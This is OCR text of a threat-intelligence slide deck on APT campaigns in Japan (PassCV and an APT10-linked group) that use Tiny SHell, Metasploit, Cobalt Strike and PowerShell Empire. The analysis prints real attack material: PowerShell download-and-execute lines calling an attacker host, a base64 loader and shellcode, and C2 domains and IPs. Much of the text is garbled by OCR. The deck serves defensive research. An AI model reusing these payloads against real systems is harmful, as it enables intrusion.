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Purpose LAC
m Recently, there are so many APT attacks PowerSploit
fueled by the usage of the open source tools Tiny SHell
QuasarRAT

and malware.

m Why?
m Actors performing attacks using open source tools
are becoming more easy and more resourceful.
m Actors are likely anonymize their attacks.

m Actors usually modified their attack code and
created a new customized malware easily.

Koadic
mimikatz

metasploit

Pupy Trochilus

Nishang
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Purpose: APT groups with Open Source Tools IT’K;C

m APT10 (menuPass): PowerSploit, Koadic, QuasarRAT, Redleaves(Trochilus)

m Public, Technology, Energy sectors, etc (USA, Canada, UK, France, South Korea, Japan, etc)(1
m Cloudy Omega (Blue Termite): mimikatz

m  Some companies, no specific trends (Japan)
= Tick (BRONZE BUTLER): mimikatz

m Critical Infrastructure and manufacture (South Korea and Japan)
m  PassCV/BARIUM (Winnti?)ze: Metasploit, BeFF

m  Game makers (USA, China, Russia, South Korea, Taiwan and Japan)

m  Unsure Group (APT10): PowerShell Empire

m Political and academic sectors (Japan)

In this presentation, | will introduce PassCV and
Unsure Group’s TTPs confirmed in Japan in 2017
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Open Source Malware Targeting MacOS
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Open source malware variant using Tiny SHell Ac

File information m |dentification (I picked only one case)
[0x100005F15]> 1

0x0 m Hash:0161317c5f4fb3901df63c6e88f60933
0x100

3 m Type: Mach-O 64-bit Executable

filedata

mach064 m Lang: C
false

-r-x |

©x12850

Characteristic:

74K m Developed with Xcode on MacOSX Sierra(10.12)

Executable file

e = Tiny SHell original source code was used

23‘“0 m No code signing
true o e .

MACHO64 Characteristic String

false

little

true
Jusr/1lib/dyld

AxffAac 9 R rnnfig,r

Fxffls 119 118 /Users/masmc/objc/TinyShell/Build/Intermediates/TinyShell.build
/Release/TinyShell.build/Objects-normal/x86 64/config.o

Pxff8c 8 7 _1_trim

Pxff94 120 119 /Applications/Xcode.app/Contents/Developer/Platforms/Mac0SX.pla
form/Developer /SDKs/Mac0SX10.12.sdk/usr/include/ctype.h
Px1000c 8 7 r_trim
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What about Tiny SHell

LAC

Home Files News About Contact

_ tsh-0.6.tgz

Authored by Christophe Devine

Posted Sep 16, 2003

Tiny SHell is an open-source UNIX backdoor that compiles on all variants, has full pty support, and uses strong

Tiny SHell - An open-source UNIX backdoor

* Before compiling Tiny SHell

1. First of all, you should setup your secret key, which
is located in tsh.h; the key can be of any length (use
at least 12 characters for better security).

2. It is advised to change SERVER_PORT, the port on which
the server will be listening for incoming connections.

3. You may want to start tshd in "connect-back™ mode if
it runs on on a firewalled box; simply uncomment and

modify CONNECT_BACK_HOST in tsh.h.

* Compiling Tiny SHell

Run "make <system>", where <system> can be any one of these:

linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux,

osf

rite  Comments (0)

Tiny SHell is an open source backdoor
that compiles on all POSIX variantsiajs)

m Functions
m Remote Shell Execution
m File Upload
m File Download

m C2 Communication
m Protocol: TCP
m Port: 22 (default)

m Encryption: AES

m Default key is "never say never
say die"
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Comparison of similarities

A—
SIS,

LAC

Tiny SHell

switch( message[@] )
{
case GET_FILE:

ret = tshd_get_file( client );

break;
case PUT_FILE:

ret = tshd_put_file( client );

break;

case RUNSHELL:

ret = tshd_runshell( client );

* setup the packet encryption layer *# -

alarm( 3 );

ret = pel_server_init( client, secret );

if( ret != PEL_SUCCESS )

{
shutdown( client, 2 );
return( 1@ );

1
J

alarm( @ );

* get the action requested by the client

ret = pel_recv_msg( client, message, &len );

( message[0] )

( pel server init(client,

break;

default:

ret = 12;

break;

I to call backdoor functions
B to call AES encryption

Malicious variant using Tiny SHell

tshd.runshell(client);

tsha.put file(client);

get file(client, message);

( int64)secret 1 &8

(unsigned int)pel recv msg(v16) == 1 && v28 == 1 )

AES Key = “free&2015”

We can confirm that
these codes are ALMOST identical.
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1. The malware configuration/setting file

m For setting information used by malware, it was saved as a “. cache” file. This “.cache” file
is read from different PATH according to authority.

m C2 information written in the ".cache" file is encrypted and malware decrypts the string
using the XOR decoder function described in part "2. Decryption function".

&) S| s e]; Case root (Privilege user)
( getu1dk) && getu1d() )

NSUserName (*(_QWORD *)& );

objc_retainAutoreleasedReturnValue(v4);

v5;

rjc_msgSend(&0BIC_CLASS _ NSString, "st

ObjC r‘etalnAutor*eleasedRetur‘nValue( /7); i
elease(v6); :

( 01d *)objc_retainAutorelease(v8); .cache file Case user

(const char *)objc_msgSend(v9, "UTF8String"); [CONN INFO]

, onIer elease(v9); domain-l ¥¥gr(_qgmmr_rgim(Jik C2 Domain

i;:q OLL: port ; Port

V;;@ \';LL? ) . ) next time=-: S|eepTime

6 - oLL. .cache file loading function

SO [PROG_INFO]

T libexec wdhelper Forged Process

GetProfileString(v3, "PROG_INFO", "name_masq" v29); name_masq=/usr P

CFSTRL"/Users/%@/Library

23 = -

va
v5
v7
v8

J.

< < 0O
w O v;.




Functions only in Tiny SHell variants LAC

2. Decryption Function
XOR decrypt the contents of .cache or hard-coded strings in malware.

_MyDecode proc
push ~bp

mov rbp
push

push

push

push

mov

mov

mov rbx, rd
call _strlen
test X X

Our Decrypting Script in python

string, sys, 0s

enc "ENCRYPTED STRING”
dec N

C enc:
dec chr(0x02 0x04 + ord(c))

ax, rax
short loc_1000062B7

dec

Decrypted String
test@yo:~/toolS python tinyshell conf.py

rabit.awsstatics.com
test@yo:~/tool$
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Functions only in Tiny SHell variants

3. Anti-analysis function and malicious environment setup

m A function to check whether “tcpdump” is running on the computer.
m Shell and MySQL command without history enabled setting.

char CheckGM()
{
__int64 vO; // ri3
FILE *v1; // rl4
v2; // bl

char result; // al
cha 1; // [rsp+0h] [rbp-2030h]

1LC Vi,

) !/

__int64 v5; // [rsp+2000h] [rbp-36h]

1l }
I
L
__bzero(&v4, 0x2000LL);
while ( fgets(&v4, 0x2000, vl) )

I
L

v2 = 1;

if ( strstr(&v4, |"tcpdump”)
0 T .

goto LABEL_7;

o

v5[8]
*(_QWORD *)v5 = "ELIFTSIH';

v5[9]

al, message, &v29);

A
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Functions only in Tiny SHell variants in Linux LAC

4. Create rootkit and be called from it

m A rootkit (“rsakit”) is created after connected to C2 server and receiving response.
m This rootkit is also using an open source tool variant of rtkit code.js

m Rootkit functionality: to hide own process or arbitrary process.
es esi ; handler
e ; Ssig

=L >

-1, ==

_signal
esi, offset aW

offset filename

xxxxxxxxxx

roD ras
vp, "a’

short loc_40807E

variant Tiny SHell

od ",

rootkit (rsakit)

13
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Malware connection and related elements LAC
_i IP address associated with the C2 server
domain of malware is “61.78.62 [.] 21”
= This IP was used
© ) ”war[.]geekgalaxy[.]comq,
X T This domain related “PassCV” (7
o ® o
453218187 / |mm|gr1mlol.com 52199.202.13 iisexit[at]gmail.com
@ iy Related element | ©1:78.62.xxx
iisexit@gmail.com  resume.immigrantiol.com job.yoyakuweb.technology 106.184.5.XXX
¥ v 160807 —— 20170705
@ h;’ Next attention to other IP address o e
/ B gy s S “106.184.5[.]252” ) _a\\\e&‘
= ! ® @ ¥ e
s e o job[.]Jyoyakuweb].]technology
o resume|.]immigrantlol[.]Jcom
14 106.185.21.128 Copyright ©LAC Co., Ltd. All Rights Reserved.




How used for attacking

Pr—
PN
ST

LAC

Beginning is spear phishing e-mail

@57 E@ /

S N\
User-Agent
Check
job[.]Jyoyakuwebl[.]technology
resume[.]Jimmigrantlol[.]Jcom

E@

OtherC2 *e,

et

info.zip Resume app

E@

Beef C2

& 3

=
S E

. info.zip Info.doc

‘A
‘=.iil —||=
SIS

=== Case Mac
=P Case Windows

15

N\

E

vps2javal.]securitytactics[.]Jcom

appaffect[ Jcom

'\

XXXX.ZIp |nfo.chm / Stefan_Info.doc......exe

Metasploit
Framework(9;

Cobalt Strike[10]
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Case Windows: using CVE-2017-0199 exploit Iﬁ;C

script language-’

) Window. ReSizeTo
Window. moveTo -2 =
. e—— Set Office CreateObject("WScript.Shell”)
< 2 Office. run "PowerShell -WindowStyle Hidden taskkill /f /im winword.exe;”,
W — Office. run "PowerShell —WindowStyle Hidden IEX ((new-object
3 | S net.webclient).downloadstring(’ http://appaffect.com 7sessmn 4d30272b7251e078
= 7814cb588b20c422&5|d ddc9c34f712880326d384d0a66ead611’ )) ; 0, fal
. Office. run "PowerShell -WindowStyle Hidden (New-Object
Info.zip net.webclient).DownloadFile(’http://appaffect. com/?session= 4d3c272b7251e0
CVE-2017-0199 14cb5e8b20c4228s | d=db04982d3b0d7389619c986ab0dd08BE’ , * %temp%¥info. doc’ ;”, 0, false
Info.doc Office. run "PowerShell -WindowStyle Hidden Remove- Item -Path HKCU:
| . ¥Software¥Microsoft¥0ffice¥15. 0¥Word¥Resiliency -recurse; Remove Item -Path
€3)(F) ()lt HKCU: ¥Software¥M|crosoft¥0ff|ce¥16 0¥Word¥Resi liency -recurse; 7,0, true
Offlﬁe rug "cmd. exe —ArgumentLlst "/c start /MAX ”””” winword /q
temp%¥info. doc””” ! H
@id9- 0> self. cloge Base64 + gZIp
b | BA A=z LAob /script
=n ¥ - - Y s=New-Object I0.MemoryStream(, [Convert]::FromBase64String(”H4sTAAAAAAAAAL1XeW
=) B B 7 U -aex x & . iyBL/03wKaxXJtpZwJ50MFGkaiDkGCMHcLEKNu206tN2M3ebIznz3VzZmhnnJ7MtopYdkqY+q6qpfn
ﬁéﬁ” ¥ A | AN == ZhUXpnSZ5ZsCOKVqyH1AyY8pZBKXVZFQyr3yicl1ZYeeJaPjaLFwqFxsfGEtMCE+DQL L79RFF/vYVbTLLFY
e S XriAhp2k L3kSE LIQ+1S8uUhfxUegF2KYLDOu2pQuXypUgATykzdBmUxUuZt7848dK6PvUk8d9pkY LCglLgl
jmjgaYrX5XRivr06nH5TC2p/K1cLjI1LpaYJ2SHCrZWYBDySHTXEhaOLMiYG86kpv71Ll6rPrvLzzMOXEPN
AU81DIKmbIZyruvJNjx7sHzZUU9vM8kUgbJkZMa9YyAx i 7Tux8u2j7qqeAtt8KkPfU35tYiTzyKGpsOwCM
uiIoKpnGt5WrK126YWcp5VP2ixRqBd6krkU7iX1xcak
Microsoft Word ==

pZZNMjUsUc47VF7rnXo70TDe5mOcyagbkpfTyfued/u7djFR3Gq
Lr7szjQ4fcqFvTUt9QbUUUopw6WACEB+rOwS L1cz0I LBXuOrghYzHev5NJKG5TAUvgH2F72
b COXBC MOI7 AN EENTORS, YIS P LDTF - HTCOXEEEIALEIN? Next Payload ZDqc2UWul42nyfPnj iDIC8F5U9cCc/RmUc97pXZUDAyT13Efo7vo4vFMmScUD8 i +HXkVgnNPFo9eNh
L1ik4tbecRm10YOAyJ7I0KKqpyQUL1QQeNUJO9pr twWXy02/5qByywPEBaAUxof+szNGJmtrw2tQFAI97F
ZxLQ0rQE3WSBofT69Ee i NOKxOGQVroh5KSVVkyKOSVpBXkBS65Q0KEW8VH+02w65ZBY05EncXH8DOuUTp i vA
(@ | (oo ] (e ] download C6YcWuBdgbJsbajHMI1TSSpORW j6YzDmpoL6JSQVzz j
wHJG3BJ3ASYWHKKGh8kv7vANEZzJpUNd80pCIRxxTA4dqA+JCkVxxt2KFH/Qe1TohyzIsLqBNKZOhAA
Name : B JhcyrQyZL6EGge LXkfcv1fu5JP2kZ8WniSe10BVn5YOME iamtKJOcP8dzBg6XwJshi/cMg70TS LqGZ6j/Z
F9ZEQEvOND423SXLN8YwdfG74BKzZE9QP53HyuZ9tWJe jWjFvEds70uu@gy2a3RnMMdE8s17hFpNJ6qjN j
V+99RqQMZ86E5ROHke5298F tdRpBOZ /10 JbpVJInEPFYumxmFsT20z014h0XLbbt2ANt fWxVQa+XIM
NCu95ahgTEe8ni0ZK3skAvOmNCWAds0JKgtS4CEe9kS/brnlbHZ404isKneWxc1mWduvWi9PYbuCxK
RwJ62akc0jZjDtB05/2Gn2TFRqPaMPDYNs Lm5vS4ptp8+fnI5Z2 j8eygPL5evp6DoXy6gGzmBoPCyLJFzW
7LbTCiq2X90fGg88nLp3T5NxT7SeGxtkrCaj3
10sd5n8208zJMerm5GFNvZPJXX05d6E977gvJGDxuxTf1BbTVmO2wtezf2J3y9z/GmQK jprIym0eCG
0ag9+00z9CF7N2ruAfNhLHcqWk+TCQVsVLY516vWsyt7mis3vOubHRdfgjEb29khswzRMw3ahnXbvht jh
SGvCxk3nYgwLvdoS@ocb@vmrdA4xtUNm+aXjabvd0OHvhn+oQQ7 Lbygi+z+dEGYYTgpAz6 LREyiBh97viv

Address *

Date of birth :

QfY63+kzSsZw70Q2DVOHks L joDPEUL
Dd 1Z5Vx0jQoeT3Z90ER7ITsbkxao3t5NCLz8p9jbLQinEo7zEI3KYgH
AHOHL7WyXT+j+D0ifi1ScDcvQto81/n801zb2gxXmkCfQIE
VzRC+kbS5rmARh62a9PUStqe9RDgMG j CCnmoA4F 1bUmH/RIWFMODbvOdS+ASyLhTdXuvKdUP/RrU9HH
z90wZCk2ETJn2 LRz5GrdG5fz0Wgxeb2pZyeer /9FbE5aN+ LpaMufQb L+UM8fkhPHaFeyRXUJfJ

Marital status :

Info.doc: 9 3,002 XF

H Q xjqphfHTv4/1j7N/uHOX/rnB0UivLN8++B13
decoy flle Of the resume IS Opened, HuIRphJYDWhSNN6NF re i 10SgGcz4pmnIcls5BeN9I+hv0rABJ LSPEVSDVs5Qyhgl zDMOy
KrR7NhYHEvrx6FkuY/0P2qF1iXWk8jJVLrHxTrgAUFBQLMP77Thj1SuX4b+arsgNTYsavSo9aFEbcqg
o . . 6ZYQg+kMPJEomMhETGec/Qc+hvxSHgOAA i IEX (New-Object IO.StreamReader (New-Object
16 and ma||C|Ous Scrlpt download 10. Compression. GzipStream($s, [10. Compression. CompressionMode]: :Decompress

.ReadToEnd



Case Windows: using CVE-2017-0199 exploit

Decoded Script

Set-StrictMode -Version 2

Dolt @’
function func get proc address {
Param ($var module, $var procedure)
$var unsafe native methods = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $ .GlobalAssemblyCache -And
$ .Location.Split(’¥¥ )[-1].Equals(’ System.dll’)
}).GetType(’Microsoft.Win32. UnsafeNativeMethods’ )

return $var unsafe native methods. GetMethod(’ GetProcAddress’ ). Invoke($null,
@([System.Runtime. InteropServices. Hand leRef](New-Object
System. Runtime. InteropServices. HandleRef ((New-Object IntPtr),
($var unsafe native methods.GetMethod(’ GetModuleHandle’ )). Invoke($null,
@($var_module)))), $var procedure))

}

function func get delegate type {
Param (
[Parameter (Position = 0, Mandatory = $True)] [Type[]] $var parameters,

(too long, redacted)

[Byte[]1$var code = [System.Convert]::FromBase64String(”/
0iJAAAAYInIMdJki1IwiTIMi1IUi3IoD7dKJjH
McCsPGF8Aiwgwc8NAcTi8FJXi1IQi0I8AdCLQH i FWHRKAdBQi0gYi1ggAdPjPEmLNIsB1 jH/McCswc8NAc

c44HX0A334030kdeJY i 1gkAdNmiwxLi1gcAdOLBIsBOI LEJCRbW2FZWLH/4FhfWosS64ZdaG5 dABod2 luaVRo

THcmB//V6IAAAABNDb3ppbGxhLzQuMCA0oY29tcGFO0aWJsZTsgTVNJRSA4L jA7IFdpbmRvd3MgT LQgNS4x0yBUcm

LkZW50LzQuMDsgUVFEb3dubGOhZCA3MzM7IE LuZm9QYXRoL j IpAFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY
WFhYWFhYWFhYAFkx/1dXV1dRaDpWeaf/1et5WzHJUVFgA1FRaFAAAABTUGhXiZ/
G/9XrY Lkx0LlJoAAJghFJSULFSUG;jrVS47/9WJx jH/V1dXV1ZoLQYYe//VhcBORDH/
hfZ0BIn56wlogsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3S8MT/
rFetJ6Jn///8vUE LKeQAAaPC1olb/1WpAaAAQAABOAABAAF doWKRTS T/
VKINTiedXaAAgAABTVmgS Loni/9WFwHTNiwcBw4XAdeVYw+g3////
YXdzcHJvY2R1Y3Rpb24uaW1taWdyYW50bGIsLmNvbQA="")

This code is using exec-sc.ps1 of
Don't Kill My Cat (DKMC)11)

6089 rJ31
48b 7228 0O

20c1

01do 8b

5820 01
cO® accl

0x00000210

[[aYZQ X_Z.
hnet hw1n1Tth&
Mozilla/4
.0 (compatible;
MSIE 8.0; Window
s NT 5.1; Triden
t/4.0; QQDownloa
d 733; InfoPath.
2) . XXXXXXXXXXXXX
XXXXXXXXXXXXXXXX
XXXXXX.Y1.WWWWQh
-.y[1.Q0j.Q

QhP. . .SPhW
bY1.Rh..  .RRRQRP
h4U.;.AA‘1.wwwHV
YN ED RS E:
] hE

.awsprocduction.
immigrantlol.com

This code is Metasploit shellcode

This combination used attack
Cobalt Strike called "Beacon"
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Case Windows: others attacking types Iﬁ

% Info =
Case chm (in 2014)

v

Age: Date Of Birth :

Height :

5) e et o0 (6027 e Cparseln
j EE -' - G SR AT e Tt ot iy Download next
S — = > -l S ey, enta Bl > ounioader
% | Current JoH AG-D8 I "o ¢’ 1hY y
- execute o )
Info.zip extract Info.chm Accommod
.chm file contain in malicious script
! Eanat
stefan_info.doc e .
> Edmontions > Cobalt Strike Beacon
Graduate courses-
r Payload execute
drop&
Computer Engineering degree-
execute ;
Google_updata.
exe
., Case exe (in 2016) decoy file is opened and exe file execute

Copyright ©LAC Co., Ltd. All Rights Reserved.



Case Mac: using malicious jar file

Info.zip Info.plist

TESTnoMac:~ test$ zipinfo info.zip <?xml version="1.0" ?>

Archive: info.zip App||cat|0n Bundle <!DO( plist PUBLIC “—//A;')ple//DTD PEIST 1.0//EN" “http://
Zip file size: 235811 bytes, number of entries: 15 www.apple.cqm/EIDs/fropertyLlst-l.0.dtd >

drwxr=xr-=x 6.3 unx ® bx stor 17-Jun-28 15:50|Resume.app/ LR Sno

drwxr=xr-=x unx ® bx stor 17-Jun-28 15: Resume.app/Contents/

unx bx defN 17-Jun-28 15: Resume.app/Contents/Info.plist

unx bx stor 17-Jun-28 15: Resume.app/Contents/Java/

unx bx defN 17-Jun-28 15:50 Resume.app/Contents/Java/Resume.jar

unx ® bx stor 17-Aug-22 12: Resume.app/Contents/Mac0S/

unx 2 bx defN 17-Aug-22 12: Resume.app/Contents/Mac0S/JavaApplLauncher
unx 8 bx stor 17-Jun-28 15: Resume.app/Contents/PkgInfo

3

3 ‘>CFBundleDevelopmentReglon</ >
3 1
3

3

3

3

.3

«3 unx ® bx stor 17-Jun-28 15: Resume.app/Contents/PlugIns/

3

3

3

3

3

3

2

g>English</
‘>CFBund1eExecutab1e</ />
1¢>JavaAppLaunchej</:
y>CFBund lelconFile</key>
g>docx.icns</string>
‘>CFBundleIdent1f1er</ />
g>Flash.Updater</string>
\‘>CFBund1eD15p1ayName</
“ing>resume</string>

- [ [
drwxr-=xr-x
- [ [
drwxr=xr=x
= PWX F=X =X

6

6

6

6

6

6
—W=F==[=— 6
drwxr=xr=x 6
6

6

6

6

6

6

6

AAAAAAAAAAAA

drwxr=xr-=x unx ® bx stor 17-Jun-28 15: Resume.app/Contents/Resourcesgy
unx 227766 bx defN 17-Jun-28 15:50 Resume.app/Contents/Resourcegy/docx.icns
unx bx stor 17-Jun-28 15: Resume.app/Contents/Resourceg/en. lproj/
unx bx defN 17-Jun-28 15: Resume.app/Contents/Resourceg/en. lproj/Localizable.strings (j .
unx bx stor 17-Jun-28 15: Resume.app/Contents/_CodeSiggature/ co es'gn
«3 unx 3164 bx defN 17-Aug-22 12: Resume.app/Contents/_CodeSigMaturitesTnoMac:~ test$ codesign —dvvv JavaAppLauncher
16022 bytes uncompressed, 233665 bytes compressed: 26.1% Executable=/Users/test/JavaAppLauncher
Identifier=Flash.Updater
Format=Mach-0 universal (i386 x86_64)
JavaAppLaunCher CodeDirectory v=20200 size=365 flags=0x@(none) hashes=6+3 location=embedded
Hash type=sha256 size=32
CandidateCDHash shals=
CandidateCDHash sha256=
Hash choices=shal,sha256
CDHash=
Sigpnature size=8956
Authority=Developer ID Application:

Functions: Read and execute bundled Resume.jar [ iRt e LUt

Authority=Apple Root CA

This application is not malicious. L ) e

dANTO.PLAST=NOT DOuUNnaG

S e B
drwxr=xr=x
-W= ==
drwxr=xr=x
= W [ [
15 files,

TESTnoMac:~ test$ file JavaAppLauncher

JavaAppLauncher: Mach-0 universal pinary with 2 architectures: [x86_64: Mach-0 64-bit exec
able x80_ob4] [1386: Mach-0 executable i386]

JavaAppLauncher (for architecture x86_64): Mach-0 64-bit executable x86_64
JavaAppLauncher (for architecture 1i386): Mach-0 executable i386

It was similar to AppBundler code. 12 Sesled Resources=none

Internal requirements count=1 size=176




Case Mac: using malicious jar file

LAC

1 j
Resume.jar localObject]
O o Java Decompiler
B ®s {

v @
» T Updater.class —
> & META-INF decompile
v i doc F)
template.dat
Flash.dat
4 decoy file
config
Phone ]
E-mail
Web
w u _
ol [
Education y ey w
Graduate courses
- u N ENTEEE .- _l u - - u L .| _ BN
H R W oEn o oTmem
Computer Engineering degree
: o = 3 L - HE EE | | I L
Languages s mmEEE = = o EE O wmmEw
Professional experience
Own Company
20 - » m EE

int k

"4444")));
”107)));

Integer.parselnt(decrypt(localProperties getProperty( Ma48szRJreOwJ20
decrypt(localProperties. getProperty(” LFNNapMpusgthd nul
Integer. parselnt(decrypt(localProperties.getProperty(” 0FvchlVLPgZMd72

D

Socket localSocket Socket((String)localObjectl,

localSocket. getInputStream();

localObject2
localSocket. getQutputStream();

QutputStream localOutputStream
Updater().bootstrap((InputStream)localObject2, localOutputStream);
(IOException localIOException)

localIOException. printStackTrace(System. out);

Thread. sleep(1000 k);

read config (Flash.dat) and connect to C2

er .parselInt(localProperties.getProperty("hLxAQUolp9IGeHOB",
1))

"0"));

localObjectl File.createTempFile("~resume", ".tmp");
((File)localObjectl) .delete();

File localFile2 File(((File)localObjectl) .getAbsolutePath() ".dir");
localFile2 mkdir();
localObject2
writeEmbeddedFile(localUpdater,

open((File)localObject2);

File(localFile2, "Resume.doc");

"doc/template.dat", (File)localObject2);

IOException {

void open(File paramFile)
Desktop .getDesktop();
localDesktop.open(paramFile);

Desktop localDesktop

save and display decoy file

Copyright ©LAC Co., Ltd. All Rights Reserved.



Case Mac: using malicious jar file f?c

Flash.dat (config)
ayb1zsdAVr4MtELF=1

hLxAQUo1p91GeHOB=1 Flag L
LFNNapMpsKzgh5xd=767073326a6176612e736563757269747974a4a01¢cfb3ed19993095 C2 Domain [MNsIIRTI[SHeelal(=Ioi=IslelaYo]s
Ma48TxsRJreOwJ20=c5c36892909e37fa67¢c8 Port
QFvcpR LVLPgZMd72=c5¢36892909e37fa69c8 PP 10-bytes XOR key
TESTnoMac:~ test$ echo "767073326a6176612e736563757269747974a4a01cfbf3ed19993095" | xxd -=r -p | hexdump ~C
00000000 76 70 _73 32 63 61 76 61 2e 73 65 63 75 72 69 74 |vps2java.securit q . .
00000010 79 74[ad ad 1c fb f3 ed 19 99 30 95 \ : vps2javal.]securitytactics.com
DNS 88 Standard query Bxla7c AIVpstava.secur‘itytactics.com I
DNS 104 Standard query response ©xla’7c A vps2java.securitytactics.com A 172.104.101.131
TCP 66 55953 » 8A [SYN1 Sen=0A Win=R197 | en=A MSS=146A WS=256 SACK PFRM=1
|..}. .files...Ljava/util/List;...data...[B...contentType...Ljava/lang/String;..
TCp lcr‘eateURL..$([BLJava/lang/Strlng,)L]ava/net/URL .Code.
TCP 'Exceptions...... <init>...(Ljava/net/URL;)V.. connect...()V ...... getInputStream...()Ljava/io/
TCP 5!InputStream;...getContentLength .()I...getContentType...()Ljava/lang/String;...<clinit>..
Tcp 15,5.6 ........ java/net/URL...metasploitmembuff...... java/lang/
‘StringBuilder..@.C....H........ Joeeeannn 8 L
TCP 5! 78 9.:...java/io/ByteArrayInputStream..@..... java/util/Arraylist...handlers........ java/ o o .
TCP 'lang/NoSuchFieldException...ph_cache............... ThIS paCket IS USIng
TCP ']ava/utlllMap ....... 7com/metasploit/meterpreter/
MemoPyBufferURLStreamHandler ............. getFiles...java/lang/Class........ java/lang/
TCp 15 ohject davalutil/list 3 jon...java/lang/RuntimeException..@....4com/ Meterpreter'
TCP .} java/net/URLConnection. . ]ava/net/ o
Tcp 3 "L (Ljava/Lang/Object; 2. ..size. . .append. . It seems that Metasploit
Tcp (I)L]ava/lang/StrlngBullder, (L]ava/lang/Strlng,)L]ava/lang/StrlngBullder,. .toString..9(Ljava/
'lang/Strlng,L]ava/lang/Strlng,LJava/lang/Strlng,)V .getFile...java/lang/String...indexOf...(I)I.. e
substring...(II)Ljava/lang/String;...java/lang/Integer...parselnt...(Ljava/lang/String;)I...get... Framework Was runnlng On the
(I)Ljava/lang/Object;...(I)Ljava/lang/String;...([B)V...getDeclaredField..-(Ljava/lang/
String;)Ljava/lang/reflect/Field;...java/lang/reflect/Field.. C2 Se rve r.

setAccessible...(Z)V..&(Ljava/lang/Object;)Ljava/lang/Object;. ..containsKey...put..8(Ljava/lang/

Object;Ljava/lang/Object;)Ljava/lang/Object;...getClass...()Ljava/lang/Class;. .

getMethod. .@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;. . .java/lang/reflect/
21 Method. . .invoke..9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;. .. (Ljava/lang/

String;)V.!.3.4..... Copyright ©LAC Co., Ltd. All Rights Reserved.



Attack is ongoing ? Iﬁ;C

Is new spear phishing e-mail attack launching?

00O < i} eggagent.info

1
Iskia | @ eggagent.info ® .
[Basic Info)
n 2017-10-23 a = y X Name : Gender :
e 20171113 Bl Registered | @) Categorize pge date Of Birth o
- Height : Marital Status
Current Location : Registered Residence : -
TERS © RESOLUTIONS © :.1:::1;9.; Ed:c:x;al.Levell H
2nd Language Level
(2/2) Ov show:25 1-20f2 Sort : Last Seen Descending v Speciality
Current Job Function : Current Salary :
¢ 106.184.5.252 1 Resolve Location Network ASN First Last Current Industry : Expecting Salary :
Accommodation Req . Availiability Days :
¢ 139.162.95.39 1 O P 139.162.64.0/19 63949  2017-10-24  2017-11-13 Expecting Location :
Expecting Job Function : s - | —
i = [ 1061845252  JP 106.18400/18 2516 20171023  2017-10-23 S
[Contact Info)
© 106.184.0.0/18 1 * Contact Number : Mobile Number
(PassiveTotal)[13] A i displ d wh
. . resume IS displayed when
This IP is PassCV Infrastructures , play _
accessing the domain
“« . ” " ” ;
eggagent[.]lnfo USEd 1061845[]252 Dates Created on 2017-10-23 - Expires on 2018-10-23 - Updated on 2017-10-23
174 ” IP Address 139.162.95.39 is hosted on a dedicated server
and now used “139.162.95[.]39
. IP Location [®] - Tokyo - Tokyo - Linode Llc
It mlght be neW attaCk InfraStrUCture ASN [@]AS63949 LINODE-AP Linode, LLC, US (registered Feb 16, 2015)

(DomainTools)[14]
Copyright ©LAC Co., Ltd. All Rights Reserved.
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PowerShell Empire improperly used

Copyright ©OLAC Co., Ltd. All Rights Reserved.



A—
SIS,

What about PowerShell Empire LAC

PowerShell Empirejis]

EmPire is @ pure PowerShell post-exploitation agent Running
t

About built on cryptologically-secure communications and .
a flexible architecture. Empire implements the PowerShell Empire

About Documentation 3 Presentations Demos BlogPosts Github Disclaimer

Documentation b4 ability to run PO === s——=———s=s—s—s—=sss—sssss—ss—ss—ssssss—sssss—ssss=s=s=s=s=s=s=========
, : powershell.exe,
Presentations explqtaﬂon moqd
S MIMITKETZ, &N 2
network detectid

focused framews

Blog Posts

Github

Disclaimer

q . . . 267 dul tly loaded
PowerShell Empire is a post-exploitation .

framework and it is mainly using in a
penetration test and Red Team Assessment.

1 listeners currently active

2 agents currently active

(Empire) > |}

24



PowerShell Empire: Infection vector

Specific University = ==
. . #4: (PXUNERIBFRT-37 -5 FARES
Organization :

25

BT THEVET
TBHRR7—37-Y  F(BEE BTEELLOT,

€

&L

specified account
has been hackd .

(85 S AZF%FIIE)

M7 ANESFIVA-FLTFEL,

@) BELID7AWEHTWIOY Y ILET,

(3) i2D = FAHBESERINETOT.
RO M6ESEI20 = F1 ZAAL TS L,

(4) BBSIEHID 77 ( LHEM (8S5) ShET.

EDFLBLCHBBLLILET .
(COA= WA ADEBERITEERAOT, TEBCIET L)

IREVLILET,
TA24BETICUMTFOURLIEZ ZEALTWERNT. FBICE D VO- FUTHBENC S L,

https://meza.nz/H!0C2E 105R ! 224pp i 6SeSeK3JWIKzuerGuYE | cGkkYxy0ADf kBB NG
27 AIDIRD - FIIEFESHSENIL Ees

HEEE:  2017/07/24 (B)

spear phishing e-mail

The contents of the Zip file are
suspicious LNK files and RTF files

BHL2ESFMEIR I+ -2 42E TLYREREEEBIEL T
2017&F4A58
SREZE L2 —s BREFRRIREER

FRSERITEEL TV 31 BRI 3
BEFHFRIOS 54 (EHLSE) ITIZ. 4A5
TAINTHSUTBHERIEL, £7o R
b, 7{"1&&5{$‘) 20N — MRS
BEWVYUVWRE"EREE 2. 514 BEh
2 BRIMFEREL RSS! LWBETE
BEBISL T (EIAAH VIS Toward a
Greater Alliance ) ZHE &DE LT,
COWEBIR 7 A NBIOREDDIES

DRIAVIBLS T BRE MO BB REERCT 7 =3+ A4REE] (20005, 20074, 20125) DLy
DIF BARRELIUEIS T B, 7 ERA DA (adjustment) I LEBFHBAZ TLY
FH T, BREEELVBE T OOIZ T OO BAFSVIARBEAIT DNT, H7 7B
RICEDE TIBLGRU T E T . BRI LITOBUTY .

[16]

© MeGA + [ol o=
€ 0a mega.nz A tE A =
E () ®r 2 © =
BER7 —25—- Fr3RESE zip
access to URL and Zip
File Download
CY¥ARRI—=7—3 - T RES zip¥ o -E-] =)
J7AIUF) #|EE) F|R(V) BRICAD(A) Y—IUT) ~NLT(H)
h = v o o= X i
BN EM TRk OE- BB AR BR

¥ |l c¥ESRT-=F7

- FARES Zip¥

zm

2017_BHISETOI5 AxtInk |

W LOREREEZEELUT.Hf

< n

H4X

1588

420 096

EEgb X EFOR

{ERLEE
2017-07-19 21:(
2017-07-19 21:(

Zip file
453 2017-07-19 21:05
47 371 2017-07-19 21:05

CEDATZ U hEER

- i. All Rights Reserved.



